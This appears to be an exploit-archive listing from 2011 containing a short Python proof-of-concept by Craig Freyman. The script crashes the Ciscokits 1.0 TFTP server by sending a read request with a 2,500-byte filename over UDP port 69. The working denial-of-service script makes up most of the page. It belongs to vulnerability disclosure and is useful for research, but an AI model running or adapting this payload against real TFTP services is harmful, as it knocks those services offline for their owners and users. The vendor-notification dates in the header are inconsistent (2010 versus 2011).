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Ciscokits 1.0 TFTP Denial Of Service

Ciscokits 1.0 TFTP Denial Of Service
Posted Jul 24, 2011
Authored by Craig Freyman

Ciscokits version 1.0 TFTP long filename denial of service exploit.

tags | exploit, denial of service
SHA-256 | 383be13aeec64ac2315d8b82ed84ca0e439ee47189bc18beae7f9010d78dd05e

Ciscokits 1.0 TFTP Denial Of Service

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#!/usr/bin/python
#Title: Ciscokits 1.0 TFTP Long Filename DoS
#Author: Craig Freyman (@cd1zz)
#Date: July 22, 2011
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
#Tested on: Windows XP SP3
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.
#Notes: When a long file name read request is made the CPU will spike
#and within about 20 seconds the TFTP service will crash.

import socket,sys,time

host = '192.168.133.128'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

crash = "\x41" * 2500

mode = "netascii"
files = "a"
print "File name READ crash"
#seems to only work on a READ command = x01
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
s.sendto(pwned, (host, port))
time.sleep(2)

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